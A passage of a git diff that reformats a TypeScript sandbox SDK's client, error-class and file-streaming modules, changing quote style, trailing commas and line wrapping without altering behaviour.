repoName = pathParts[pathParts.length - 1]; - + // Remove .git extension if present return repoName.replace(/\.git$/, ''); } catch { @@ -89,4 +88,4 @@ export class GitClient extends BaseHttpClient { return repoName.replace(/\.git$/, '') || 'repo'; } } -} \ No newline at end of file +} diff --git a/packages/sandbox/src/clients/index.ts b/packages/sandbox/src/clients/index.ts index 9c4c2cfe..fe5b6756 100644 --- a/packages/sandbox/src/clients/index.ts +++ b/packages/sandbox/src/clients/index.ts @@ -1,11 +1,7 @@ // Main client exports - // Command client types -export type { - ExecuteRequest, - ExecuteResponse, -} from './command-client'; +export type { ExecuteRequest, ExecuteResponse } from './command-client'; // Domain-specific clients export { CommandClient } from './command-client'; @@ -14,23 +10,23 @@ export type { FileOperationRequest, MkdirRequest, ReadFileRequest, - WriteFileRequest, + WriteFileRequest } from './file-client'; export { FileClient } from './file-client'; // Git client types -export type { - GitCheckoutRequest, - GitCheckoutResult, -} from './git-client'; +export type { GitCheckoutRequest, GitCheckoutResult } from './git-client'; export { GitClient } from './git-client'; -export { type ExecutionCallbacks, InterpreterClient } from './interpreter-client'; +export { + type ExecutionCallbacks, + InterpreterClient +} from './interpreter-client'; // Port client types export type { ExposePortRequest, PortCloseResult, PortExposeResult, PortListResult, - UnexposePortRequest, + UnexposePortRequest } from './port-client'; export { PortClient } from './port-client'; // Process client types @@ -41,7 +37,7 @@ export type { ProcessListResult, ProcessLogsResult, ProcessStartResult, - StartProcessRequest, + StartProcessRequest } from './process-client'; export { ProcessClient } from './process-client'; export { SandboxClient } from './sandbox-client'; @@ -53,12 +49,12 @@ export type { HttpClientOptions, RequestConfig, ResponseHandler, - SessionRequest, + SessionRequest } from './types'; // Utility client types export type { CommandsResponse, PingResponse, - VersionResponse, + VersionResponse } from './utility-client'; -export { UtilityClient } from './utility-client'; \ No newline at end of file +export { UtilityClient } from './utility-client'; diff --git a/packages/sandbox/src/clients/interpreter-client.ts b/packages/sandbox/src/clients/interpreter-client.ts index ff04433f..deaf2af3 100644 --- a/packages/sandbox/src/clients/interpreter-client.ts +++ b/packages/sandbox/src/clients/interpreter-client.ts @@ -6,16 +6,20 @@ import { type ExecutionError, type OutputMessage, type Result, - ResultImpl, + ResultImpl } from '@repo/shared'; import type { ErrorResponse } from '../errors'; -import { createErrorFromResponse, ErrorCode, InterpreterNotReadyError } from '../errors'; +import { + createErrorFromResponse, + ErrorCode, + InterpreterNotReadyError +} from '../errors'; import { BaseHttpClient } from './base-client.js'; import type { HttpClientOptions } from './types.js'; // Streaming execution data from the server interface StreamingExecutionData { - type: "result" | "stdout" | "stderr" | "error" | "execution_complete"; + type: 'result' | 'stdout' | 'stderr' | 'error' | 'execution_complete'; text?: string; html?: string; png?: string; // base64 @@ -27,13 +31,13 @@ interface StreamingExecutionData { json?: unknown; chart?: { type: - | "line" - | "bar" - | "scatter" - | "pie" - | "histogram" - | "heatmap" - | "unknown"; + | 'line' + | 'bar' + | 'scatter' + | 'pie' + | 'histogram' + | 'heatmap' + | 'unknown'; data: unknown; options?: unknown; }; @@ -62,14 +66,14 @@ export class InterpreterClient extends BaseHttpClient { options: CreateContextOptions = {} ): Promise { return this.executeWithRetry(async () => { - const response = await this.doFetch("/api/contexts", { - method: "POST", - headers: { "Content-Type": "application/json" }, + const response = await this.doFetch('/api/contexts', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ - language: options.language || "python", - cwd: options.cwd || "/workspace", - env_vars: options.envVars, - }), + language: options.language || 'python', + cwd: options.cwd || '/workspace', + env_vars: options.envVars + }) }); if (!response.ok) { @@ -87,7 +91,7 @@ export class InterpreterClient extends BaseHttpClient { language: data.language, cwd: data.cwd || '/workspace', createdAt: new Date(data.timestamp), - lastUsed: new Date(data.timestamp), + lastUsed: new Date(data.timestamp) }; }); } @@ -100,18 +104,18 @@ export class InterpreterClient extends BaseHttpClient { timeoutMs?: number ): Promise { return this.executeWithRetry(async () => { - const response = await this.doFetch("/api/execute/code", { - method: "POST", + const response = await this.doFetch('/api/execute/code', { + method: 'POST', headers: { - "Content-Type": "application/json", - Accept: "text/event-stream", + 'Content-Type': 'application/json', + Accept: 'text/event-stream' }, body: JSON.stringify({ context_id: contextId, code, language, ...(timeoutMs !== undefined && { timeout_ms: timeoutMs }) - }), + }) }); if (!response.ok) { @@ -120,7 +124,7 @@ export class InterpreterClient extends BaseHttpClient { } if (!response.body) { - throw new Error("No response body for streaming execution"); + throw new Error('No response body for streaming execution'); } // Process streaming response @@ -132,9 +136,9 @@ export class InterpreterClient extends BaseHttpClient { async listCodeContexts(): Promise { return this.executeWithRetry(async () => { - const response = await this.doFetch("/api/contexts", { - method: "GET", - headers: { "Content-Type": "application/json" }, + const response = await this.doFetch('/api/contexts', { + method: 'GET', + headers: { 'Content-Type': 'application/json' } }); if (!response.ok) { @@ -152,7 +156,7 @@ export class InterpreterClient extends BaseHttpClient { language: ctx.language, cwd: ctx.cwd || '/workspace', createdAt: new Date(data.timestamp), - lastUsed: new Date(data.timestamp), + lastUsed: new Date(data.timestamp) })); }); } @@ -160,8 +164,8 @@ export class InterpreterClient extends BaseHttpClient { async deleteCodeContext(contextId: string): Promise { return this.executeWithRetry(async () => { const response = await this.doFetch(`/api/contexts/${contextId}`, { - method: "DELETE", - headers: { "Content-Type": "application/json" }, + method: 'DELETE', + headers: { 'Content-Type': 'application/json' } }); if (!response.ok) { @@ -201,7 +205,7 @@ export class InterpreterClient extends BaseHttpClient { } } - throw lastError || new Error("Execution failed after retries"); + throw lastError || new Error('Execution failed after retries'); } private isRetryableError(error: unknown): boolean { @@ -211,8 +215,8 @@ export class InterpreterClient extends BaseHttpClient { if (error instanceof Error) { return ( - error.message.includes("not ready") || - error.message.includes("initializing") + error.message.includes('not ready') || + error.message.includes('initializing') ); } @@ -221,7 +225,7 @@ export class InterpreterClient extends BaseHttpClient { private async parseErrorResponse(response: Response): Promise { try { - const errorData = await response.json() as ErrorResponse; + const errorData = (await response.json()) as ErrorResponse; return createErrorFromResponse(errorData); } catch { // Fallback if response isn't JSON @@ -240,7 +244,7 @@ export class InterpreterClient extends BaseHttpClient { stream: ReadableStream ): AsyncGenerator { const reader = stream.getReader(); - let buffer = ""; + let buffer = ''; try { while (true) { @@ -250,11 +254,11 @@ export class InterpreterClient extends BaseHttpClient { } if (done) break; - let newlineIdx = buffer.indexOf("\n"); + let newlineIdx = buffer.indexOf('\n'); while (newlineIdx !== -1) { yield buffer.slice(0, newlineIdx); buffer = buffer.slice(newlineIdx + 1); - newlineIdx = buffer.indexOf("\n"); + newlineIdx = buffer.indexOf('\n'); } } @@ -282,25 +286,25 @@ export class InterpreterClient extends BaseHttpClient { const data = JSON.parse(jsonData) as StreamingExecutionData; switch (data.type) { - case "stdout": + case 'stdout': if (callbacks.onStdout && data.text) { await callbacks.onStdout({ text: data.text, - timestamp: data.timestamp || Date.now(), + timestamp: data.timestamp || Date.now() }); } break; - case "stderr": + case 'stderr': if (callbacks.onStderr && data.text) { await callbacks.onStderr({ text: data.text, - timestamp: data.timestamp || Date.now(), + timestamp: data.timestamp || Date.now() }); } break; - case "result": + case 'result': if (callbacks.onResult) { // Create a ResultImpl instance from the raw data const result = new ResultImpl(data); @@ -308,17 +312,17 @@ export class InterpreterClient extends BaseHttpClient { } break; - case "error": + case 'error': if (callbacks.onError) { await callbacks.onError({ - name: data.ename || "Error", - message: data.evalue || "Unknown error", - traceback: data.traceback || [], + name: data.ename || 'Error', + message: data.evalue || 'Unknown error', + traceback: data.traceback || [] }); } break; - case "execution_complete": + case 'execution_complete': // Signal completion - callbacks can handle cleanup if needed break; } diff --git a/packages/sandbox/src/clients/port-client.ts b/packages/sandbox/src/clients/port-client.ts index 85032fba..f56e2f51 100644 --- a/packages/sandbox/src/clients/port-client.ts +++ b/packages/sandbox/src/clients/port-client.ts @@ -1,17 +1,13 @@ import type { PortCloseResult, PortExposeResult, - PortListResult, + PortListResult } from '@repo/shared'; import { BaseHttpClient } from './base-client'; import type { HttpClientOptions } from './types'; // Re-export for convenience -export type { - PortExposeResult, - PortCloseResult, - PortListResult, -}; +export type { PortExposeResult, PortCloseResult, PortListResult }; /** * Request interface for exposing ports @@ -32,7 +28,6 @@ export interface UnexposePortRequest { * Client for port management and preview URL operations */ export class PortClient extends BaseHttpClient { - /** * Expose a port and get a preview URL * @param port - Port number to expose @@ -69,9 +64,14 @@ export class PortClient extends BaseHttpClient { * @param port - Port number to unexpose * @param sessionId - The session ID for this operation */ - async unexposePort(port: number, sessionId: string): Promise { + async unexposePort( + port: number, + sessionId: string + ): Promise { try { - const url = `/api/exposed-ports/${port}?session=${encodeURIComponent(sessionId)}`; + const url = `/api/exposed-ports/${port}?session=${encodeURIComponent( + sessionId + )}`; const response = await this.delete(url); this.logSuccess('Port unexposed', `${port}`); @@ -102,4 +102,4 @@ export class PortClient extends BaseHttpClient { throw error; } } -} \ No newline at end of file +} diff --git a/packages/sandbox/src/clients/process-client.ts b/packages/sandbox/src/clients/process-client.ts index e9ba9202..8f50761c 100644 --- a/packages/sandbox/src/clients/process-client.ts +++ b/packages/sandbox/src/clients/process-client.ts @@ -5,7 +5,7 @@ import type { ProcessListResult, ProcessLogsResult, ProcessStartResult, - StartProcessRequest, + StartProcessRequest } from '@repo/shared'; import { BaseHttpClient } from './base-client'; import type { HttpClientOptions } from './types'; @@ -18,15 +18,13 @@ export type { ProcessInfoResult, ProcessKillResult, ProcessLogsResult, - ProcessCleanupResult, + ProcessCleanupResult }; - /** * Client for background process management */ export class ProcessClient extends BaseHttpClient { - /** * Start a background process * @param command - Command to execute as a background process @@ -42,7 +40,7 @@ export class ProcessClient extends BaseHttpClient { const data: StartProcessRequest = { command, sessionId, - processId: options?.processId, + processId: options?.processId }; const response = await this.post( @@ -70,7 +68,10 @@ export class ProcessClient extends BaseHttpClient { const url = `/api/process/list`; const response = await this.get(url); - this.logSuccess('Processes listed', `${response.processes.length} processes`); + this.logSuccess( + 'Processes listed', + `${response.processes.length} processes` + ); return response; } catch (error) { this.logError('listProcesses', error); @@ -157,11 +158,13 @@ export class ProcessClient extends BaseHttpClient { * Stream logs from a specific process (sandbox-scoped, not session-scoped) * @param processId - ID of the process to stream logs from */ - async streamProcessLogs(processId: string): Promise> { + async streamProcessLogs( + processId: string + ): Promise> { try { const url = `/api/process/${processId}/stream`; const response = await this.doFetch(url, { - method: 'GET', + method: 'GET' }); const stream = await this.handleStreamResponse(response); diff --git a/packages/sandbox/src/clients/sandbox-client.ts b/packages/sandbox/src/clients/sandbox-client.ts index 8c8f0f25..fa1599eb 100644 --- a/packages/sandbox/src/clients/sandbox-client.ts +++ b/packages/sandbox/src/clients/sandbox-client.ts @@ -24,7 +24,7 @@ export class SandboxClient { // Ensure baseUrl is provided for all clients const clientOptions: HttpClientOptions = { baseUrl: 'http://localhost:3000', - ...options, + ...options }; // Initialize all domain clients with shared options @@ -36,6 +36,4 @@ export class SandboxClient { this.interpreter = new InterpreterClient(clientOptions); this.utils = new UtilityClient(clientOptions); } - - -} \ No newline at end of file +} diff --git a/packages/sandbox/src/clients/types.ts b/packages/sandbox/src/clients/types.ts index 8f87db25..b59d8af3 100644 --- a/packages/sandbox/src/clients/types.ts +++ b/packages/sandbox/src/clients/types.ts @@ -4,7 +4,11 @@ import type { Logger } from '@repo/shared'; * Minimal interface for container fetch functionality */ export interface ContainerStub { - containerFetch(url: string, options: RequestInit, port?: number): Promise; + containerFetch( + url: string, + options: RequestInit, + port?: number + ): Promise; } /** @@ -81,4 +85,4 @@ export type ResponseHandler = (response: Response) => Promise; */ export interface SessionRequest { sessionId?: string; -} \ No newline at end of file +} diff --git a/packages/sandbox/src/clients/utility-client.ts b/packages/sandbox/src/clients/utility-client.ts index 171e6fba..218bd211 100644 --- a/packages/sandbox/src/clients/utility-client.ts +++ b/packages/sandbox/src/clients/utility-client.ts @@ -45,14 +45,13 @@ export interface CreateSessionResponse extends BaseApiResponse { * Client for health checks and utility operations */ export class UtilityClient extends BaseHttpClient { - /** * Ping the sandbox to check if it's responsive */ async ping(): Promise { try { const response = await this.get('/api/ping'); - + this.logSuccess('Ping successful', response.message); return response.message; } catch (error) { @@ -67,7 +66,7 @@ export class UtilityClient extends BaseHttpClient { async getCommands(): Promise { try { const response = await this.get('/api/commands'); - + this.logSuccess( 'Commands retrieved', `${response.count} commands available` @@ -84,7 +83,9 @@ export class UtilityClient extends BaseHttpClient { * Create a new execution session * @param options - Session configuration (id, env, cwd) */ - async createSession(options: CreateSessionRequest): Promise { + async createSession( + options: CreateSessionRequest + ): Promise { try { const response = await this.post( '/api/session/create', @@ -112,8 +113,11 @@ export class UtilityClient extends BaseHttpClient { } catch (error) { // If version endpoint doesn't exist (old container), return 'unknown' // This allows for backward compatibility - this.logger.debug('Failed to get container version (may be old container)', { error }); + this.logger.debug( + 'Failed to get container version (may be old container)', + { error } + ); return 'unknown'; } } -} \ No newline at end of file +} diff --git a/packages/sandbox/src/errors/adapter.ts b/packages/sandbox/src/errors/adapter.ts index 2b6c2694..9875da0f 100644 --- a/packages/sandbox/src/errors/adapter.ts +++ b/packages/sandbox/src/errors/adapter.ts @@ -5,11 +5,12 @@ * No validation overhead since we control both sides */ -import type { +import type { CodeExecutionContext, CommandErrorContext, CommandNotFoundContext, - ContextNotFoundContext,ErrorResponse, + ContextNotFoundContext, + ErrorResponse, FileExistsContext, FileNotFoundContext, FileSystemContext, @@ -25,7 +26,8 @@ import type { PortNotExposedContext, ProcessErrorContext, ProcessNotFoundContext, - ValidationFailedContext,} from '@repo/shared/errors'; + ValidationFailedContext +} from '@repo/shared/errors'; import { ErrorCode } from '@repo/shared/errors'; import { @@ -56,7 +58,7 @@ import { ProcessNotFoundError, SandboxError, ServiceNotRespondingError, - ValidationFailedError, + ValidationFailedError } from './classes'; /** @@ -68,13 +70,19 @@ export function createErrorFromResponse(errorResponse: ErrorResponse): Error { switch (errorResponse.code) { // File System Errors case ErrorCode.FILE_NOT_FOUND: - return new FileNotFoundError(errorResponse as unknown as ErrorResponse); + return new FileNotFoundError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.FILE_EXISTS: - return new FileExistsError(errorResponse as unknown as ErrorResponse); + return new FileExistsError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.PERMISSION_DENIED: - return new PermissionDeniedError(errorResponse as unknown as ErrorResponse); + return new PermissionDeniedError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.IS_DIRECTORY: case ErrorCode.NOT_DIRECTORY: @@ -85,93 +93,143 @@ export function createErrorFromResponse(errorResponse: ErrorResponse): Error { case ErrorCode.NAME_TOO_LONG: case ErrorCode.TOO_MANY_LINKS: case ErrorCode.FILESYSTEM_ERROR: - return new FileSystemError(errorResponse as unknown as ErrorResponse); + return new FileSystemError( + errorResponse as unknown as ErrorResponse + ); // Command Errors case ErrorCode.COMMAND_NOT_FOUND: - return new CommandNotFoundError(errorResponse as unknown as ErrorResponse); + return new CommandNotFoundError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.COMMAND_PERMISSION_DENIED: case ErrorCode.COMMAND_EXECUTION_ERROR: case ErrorCode.INVALID_COMMAND: case ErrorCode.STREAM_START_ERROR: - return new CommandError(errorResponse as unknown as ErrorResponse); + return new CommandError( + errorResponse as unknown as ErrorResponse + ); // Process Errors case ErrorCode.PROCESS_NOT_FOUND: - return new ProcessNotFoundError(errorResponse as unknown as ErrorResponse); + return new ProcessNotFoundError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.PROCESS_PERMISSION_DENIED: case ErrorCode.PROCESS_ERROR: - return new ProcessError(errorResponse as unknown as ErrorResponse); + return new ProcessError( + errorResponse as unknown as ErrorResponse + ); // Port Errors case ErrorCode.PORT_ALREADY_EXPOSED: - return new PortAlreadyExposedError(errorResponse as unknown as ErrorResponse); + return new PortAlreadyExposedError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.PORT_NOT_EXPOSED: - return new PortNotExposedError(errorResponse as unknown as ErrorResponse); + return new PortNotExposedError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.INVALID_PORT_NUMBER: case ErrorCode.INVALID_PORT: - return new InvalidPortError(errorResponse as unknown as ErrorResponse); + return new InvalidPortError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.SERVICE_NOT_RESPONDING: - return new ServiceNotRespondingError(errorResponse as unknown as ErrorResponse); + return new ServiceNotRespondingError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.PORT_IN_USE: - return new PortInUseError(errorResponse as unknown as ErrorResponse); + return new PortInUseError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.PORT_OPERATION_ERROR: - return new PortError(errorResponse as unknown as ErrorResponse); + return new PortError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.CUSTOM_DOMAIN_REQUIRED: - return new CustomDomainRequiredError(errorResponse as unknown as ErrorResponse); + return new CustomDomainRequiredError( + errorResponse as unknown as ErrorResponse + ); // Git Errors case ErrorCode.GIT_REPOSITORY_NOT_FOUND: - return new GitRepositoryNotFoundError(errorResponse as unknown as ErrorResponse); + return new GitRepositoryNotFoundError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.GIT_AUTH_FAILED: - return new GitAuthenticationError(errorResponse as unknown as ErrorResponse); + return new GitAuthenticationError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.GIT_BRANCH_NOT_FOUND: - return new GitBranchNotFoundError(errorResponse as unknown as ErrorResponse); + return new GitBranchNotFoundError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.GIT_NETWORK_ERROR: - return new GitNetworkError(errorResponse as unknown as ErrorResponse); + return new GitNetworkError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.GIT_CLONE_FAILED: - return new GitCloneError(errorResponse as unknown as ErrorResponse); + return new GitCloneError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.GIT_CHECKOUT_FAILED: - return new GitCheckoutError(errorResponse as unknown as ErrorResponse); + return new GitCheckoutError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.INVALID_GIT_URL: - return new InvalidGitUrlError(errorResponse as unknown as ErrorResponse); + return new InvalidGitUrlError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.GIT_OPERATION_FAILED: - return new GitError(errorResponse as unknown as ErrorResponse); + return new GitError( + errorResponse as unknown as ErrorResponse + ); // Code Interpreter Errors case ErrorCode.INTERPRETER_NOT_READY: - return new InterpreterNotReadyError(errorResponse as unknown as ErrorResponse); + return new InterpreterNotReadyError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.CONTEXT_NOT_FOUND: - return new ContextNotFoundError(errorResponse as unknown as ErrorResponse); + return new ContextNotFoundError( + errorResponse as unknown as ErrorResponse + ); case ErrorCode.CODE_EXECUTION_ERROR: - return new CodeExecutionError(errorResponse as unknown as ErrorResponse); + return new CodeExecutionError( + errorResponse as unknown as ErrorResponse + ); // Validation Errors case ErrorCode.VALIDATION_FAILED: - return new ValidationFailedError(errorResponse as unknown as ErrorResponse); + return new ValidationFailedError( + errorResponse as unknown as ErrorResponse + ); // Generic Errors case ErrorCode.INVALID_JSON_RESPONSE: case ErrorCode.UNKNOWN_ERROR: case ErrorCode.INTERNAL_ERROR: - return new SandboxError(errorResponse as unknown as ErrorResponse); + return new SandboxError( + errorResponse as unknown as ErrorResponse + ); default: // Fallback for unknown error codes diff --git a/packages/sandbox/src/errors/classes.ts b/packages/sandbox/src/errors/classes.ts index 65cfacd9..b36ea05d 100644 --- a/packages/sandbox/src/errors/classes.ts +++ b/packages/sandbox/src/errors/classes.ts @@ -9,7 +9,8 @@ import type { CodeExecutionContext, CommandErrorContext, CommandNotFoundContext, - ContextNotFoundContext,ErrorResponse, + ContextNotFoundContext, + ErrorResponse, FileExistsContext, FileNotFoundContext, FileSystemContext, @@ -25,7 +26,7 @@ import type { PortNotExposedContext, ProcessErrorContext, ProcessNotFoundContext, - ValidationFailedContext, + ValidationFailedContext } from '@repo/shared/errors'; /** @@ -39,13 +40,27 @@ export class SandboxError> extends Error { } // Convenience accessors - get code() { return this.errorResponse.code; } - get context() { return this.errorResponse.context; } - get httpStatus() { return this.errorResponse.httpStatus; } - get operation() { return this.errorResponse.operation; } - get suggestion() { return this.errorResponse.suggestion; } - get timestamp() { return this.errorResponse.timestamp; } - get documentation() { return this.errorResponse.documentation; } + get code() { + return this.errorResponse.code; + } + get context() { + return this.errorResponse.context; + } + get httpStatus() { + return this.errorResponse.httpStatus; + } + get operation() { + return this.errorResponse.operation; + } + get suggestion() { + return this.errorResponse.suggestion; + } + get timestamp() { + return this.errorResponse.timestamp; + } + get documentation() { + return this.errorResponse.documentation; + } // Custom serialization for logging toJSON() { @@ -78,7 +93,9 @@ export class FileNotFoundError extends SandboxError { } // Type-safe accessors - get path() { return this.context.path; } + get path() { + return this.context.path; + } } /** @@ -91,7 +108,9 @@ export class FileExistsError extends SandboxError { } // Type-safe accessor - get path() { return this.context.path; } + get path() { + return this.context.path; + } } /** @@ -104,9 +123,15 @@ export class FileSystemError extends SandboxError { } // Type-safe accessors - get path() { return this.context.path; } - get stderr() { return this.context.stderr; } - get exitCode() { return this.context.exitCode; } + get path() { + return this.context.path; + } + get stderr() { + return this.context.stderr; + } + get exitCode() { + return this.context.exitCode; + } } /** @@ -118,7 +143,9 @@ export class PermissionDeniedError extends SandboxError { this.name = 'PermissionDeniedError'; } - get path() { return this.context.path; } + get path() { + return this.context.path; + } } // ============================================================================ @@ -135,7 +162,9 @@ export class CommandNotFoundError extends SandboxError { } // Type-safe accessor - get command() { return this.context.command; } + get command() { + return this.context.command; + } } /** @@ -148,10 +177,18 @@ export class CommandError extends SandboxError { } // Type-safe accessors - get command() { return this.context.command; } - get exitCode() { return this.context.exitCode; } - get stdout() { return this.context.stdout; } - get stderr() { return this.context.stderr; } + get command() { + return this.context.command; + } + get exitCode() { + return this.context.exitCode; + } + get stdout() { + return this.context.stdout; + } + get stderr() { + return this.context.stderr; + } } // ============================================================================ @@ -168,7 +205,9 @@ export class ProcessNotFoundError extends SandboxError { } // Type-safe accessor - get processId() { return this.context.processId; } + get processId() { + return this.context.processId; + } } /** @@ -181,10 +220,18 @@ export class ProcessError extends SandboxError { } // Type-safe accessors - get processId() { return this.context.processId; } - get pid() { return this.context.pid; } - get exitCode() { return this.context.exitCode; } - get stderr() { return this.context.stderr; } + get processId() { + return this.context.processId; + } + get pid() { + return this.context.pid; + } + get exitCode() { + return this.context.exitCode; + } + get stderr() { + return this.context.stderr; + } } // ============================================================================ @@ -201,8 +248,12 @@ export class PortAlreadyExposedError extends SandboxError { } // Type-safe accessor - get port() { return this.context.port; } + get port() { + return this.context.port; + } } /** @@ -228,8 +281,12 @@ export class InvalidPortError extends SandboxError { } // Type-safe accessors - get port() { return this.context.port; } - get reason() { return this.context.reason; } + get port() { + return this.context.port; + } + get reason() { + return this.context.reason; + } } /** @@ -242,8 +299,12 @@ export class ServiceNotRespondingError extends SandboxError { } // Type-safe accessors - get port() { return this.context.port; } - get portName() { return this.context.portName; } + get port() { + return this.context.port; + } + get portName() { + return this.context.portName; + } } /** @@ -256,7 +317,9 @@ export class PortInUseError extends SandboxError { } // Type-safe accessor - get port() { return this.context.port; } + get port() { + return this.context.port; + } } /** @@ -269,9 +332,15 @@ export class PortError extends SandboxError { } // Type-safe accessors - get port() { return this.context.port; } - get portName() { return this.context.portName; } - get stderr() { return this.context.stderr; } + get port() { + return this.context.port; + } + get portName() { + return this.context.portName; + } + get stderr() { + return this.context.stderr; + } } /** @@ -298,7 +367,9 @@ export class GitRepositoryNotFoundError extends SandboxError { } // Type-safe accessor - get repository() { return this.context.repository; } + get repository() { + return this.context.repository; + } } /** @@ -324,8 +397,12 @@ export class GitBranchNotFoundError extends SandboxError { } // Type-safe accessors - get repository() { return this.context.repository; } - get branch() { return this.context.branch; } - get targetDir() { return this.context.targetDir; } + get repository() { + return this.context.repository; + } + get branch() { + return this.context.branch; + } + get targetDir() { + return this.context.targetDir; + } } /** @@ -353,10 +436,18 @@ export class GitCloneError extends SandboxError { } // Type-safe accessors - get repository() { return this.context.repository; } - get targetDir() { return this.context.targetDir; } - get stderr() { return this.context.stderr; } - get exitCode() { return this.context.exitCode; } + get repository() { + return this.context.repository; + } + get targetDir() { + return this.context.targetDir; + } + get stderr() { + return this.context.stderr; + } + get exitCode() { + return this.context.exitCode; + } } /** @@ -369,9 +460,15 @@ export class GitCheckoutError extends SandboxError { } // Type-safe accessors - get branch() { return this.context.branch; } - get repository() { return this.context.repository; } - get stderr() { return this.context.stderr; } + get branch() { + return this.context.branch; + } + get repository() { + return this.context.repository; + } + get stderr() { + return this.context.stderr; + } } /** @@ -384,7 +481,9 @@ export class InvalidGitUrlError extends SandboxError { } // Type-safe accessor - get validationErrors() { return this.context.validationErrors; } + get validationErrors() { + return this.context.validationErrors; + } } /** @@ -397,11 +496,21 @@ export class GitError extends SandboxError { } // Type-safe accessors - get repository() { return this.context.repository; } - get branch() { return this.context.branch; } - get targetDir() { return this.context.targetDir; } - get stderr() { return this.context.stderr; } - get exitCode() { return this.context.exitCode; } + get repository() { + return this.context.repository; + } + get branch() { + return this.context.branch; + } + get targetDir() { + return this.context.targetDir; + } + get stderr() { + return this.context.stderr; + } + get exitCode() { + return this.context.exitCode; + } } // ============================================================================ @@ -418,8 +527,12 @@ export class InterpreterNotReadyError extends SandboxError { } // Type-safe accessor - get contextId() { return this.context.contextId; } + get contextId() { + return this.context.contextId; + } } /** @@ -445,10 +560,18 @@ export class CodeExecutionError extends SandboxError { } // Type-safe accessors - get contextId() { return this.context.contextId; } - get ename() { return this.context.ename; } - get evalue() { return this.context.evalue; } - get traceback() { return this.context.traceback; } + get contextId() { + return this.context.contextId; + } + get ename() { + return this.context.ename; + } + get evalue() { + return this.context.evalue; + } + get traceback() { + return this.context.traceback; + } } // ============================================================================ @@ -465,5 +588,7 @@ export class ValidationFailedError extends SandboxError } // Type-safe accessor - get validationErrors() { return this.context.validationErrors; } + get validationErrors() { + return this.context.validationErrors; + } } diff --git a/packages/sandbox/src/errors/index.ts b/packages/sandbox/src/errors/index.ts index 3bcdca2a..f8f34041 100644 --- a/packages/sandbox/src/errors/index.ts +++ b/packages/sandbox/src/errors/index.ts @@ -39,11 +39,13 @@ */ // Re-export context types for advanced usage -export type { +export type { CodeExecutionContext, CommandErrorContext, CommandNotFoundContext, - ContextNotFoundContext,ErrorCodeType, ErrorResponse, + ContextNotFoundContext, + ErrorCodeType, + ErrorResponse, FileExistsContext, FileNotFoundContext, FileSystemContext, @@ -53,13 +55,15 @@ export type { GitRepositoryNotFoundContext, InternalErrorContext, InterpreterNotReadyContext, - InvalidPortContext,OperationType, + InvalidPortContext, + OperationType, PortAlreadyExposedContext, PortErrorContext, PortNotExposedContext, ProcessErrorContext, ProcessNotFoundContext, - ValidationFailedContext,} from '@repo/shared/errors'; + ValidationFailedContext +} from '@repo/shared/errors'; // Re-export shared types and constants export { ErrorCode, Operation } from '@repo/shared/errors'; @@ -101,5 +105,5 @@ export { SandboxError, ServiceNotRespondingError, // Validation Errors - ValidationFailedError, + ValidationFailedError } from './classes'; diff --git a/packages/sandbox/src/file-stream.ts b/packages/sandbox/src/file-stream.ts index a82f6fcb..7668dfd1 100644 --- a/packages/sandbox/src/file-stream.ts +++ b/packages/sandbox/src/file-stream.ts @@ -3,7 +3,9 @@ import type { FileChunk, FileMetadata, FileStreamEvent } from '@repo/shared'; /** * Parse SSE (Server-Sent Events) lines from a stream */ -async function* parseSSE(stream: ReadableStream): AsyncGenerator { +async function* parseSSE( + stream: ReadableStream +): AsyncGenerator { const reader = stream.getReader(); const decoder = new TextDecoder(); let buffer = ''; @@ -59,7 +61,9 @@ async function* parseSSE(stream: ReadableStream): AsyncGenerator): AsyncGenerator { +export async function* streamFile( + stream: ReadableStream +): AsyncGenerator { let metadata: FileMetadata | null = null; for await (const event of parseSSE(stream)) { @@ -69,7 +73,7 @@ export async function* streamFile(stream: ReadableStream): AsyncGene mimeType: event.mimeType, size: event.size, isBinary: event.isBinary, - encoding: event.encoding, + encoding: event.encoding }; break; @@ -144,8 +148,9 @@ export async function collectFile(stream: ReadableStream): Promise<{ // Combine chunks based on type if (metadata.isBinary) { // Binary file - combine Uint8Arrays - const totalLength = chunks.reduce((sum, chunk) => - sum + (chunk instanceof Uint8Array ? chunk.length : 0), 0 + const totalLength = chunks.reduce( + (sum, chunk) => sum + (chunk instanceof Uint8Array ? chunk.length : 0), + 0 ); const combined = new Uint8Array(totalLength); let offset = 0; @@ -158,7 +163,7 @@ export async function collectFile(stream: ReadableStream): Promise<{ return { content: combined, metadata }; } else { // Text file - combine strings - const combined = chunks.filter(c => typeof c === 'string').join(''); + const combined = chunks.filter((c) => typeof c === 'string').join(''); return { content: combined, metadata }; } } diff --git a/packages/sandbox/src/index.ts b/packages/sandbox/src/index.ts index 5ea896ae..262f79d8 100644 --- a/packages/sandbox/src/index.ts +++ b/packages/sandbox/src/index.ts @@ -1,6 +1,5 @@ // Export the main Sandbox class and utilities - // Export the new client architecture export { CommandClient, @@ -10,8 +9,8 @@ export { ProcessClient, SandboxClient, UtilityClient -} from "./clients"; -export { getSandbox, Sandbox, connect } from "./sandbox"; +} from './clients'; +export { connect, getSandbox, Sandbox } from './sandbox'; // Legacy types are now imported from the new client architecture @@ -20,21 +19,20 @@ export type { BaseExecOptions, ExecEvent, ExecOptions, - ExecResult,FileChunk, FileMetadata, FileStreamEvent, + ExecResult, + FileChunk, + FileMetadata, + FileStreamEvent, ISandbox, LogEvent, Process, ProcessOptions, ProcessStatus, - StreamOptions -} from "@repo/shared"; + StreamOptions +} from '@repo/shared'; export * from '@repo/shared'; // Export type guards for runtime validation -export { - isExecResult, - isProcess, 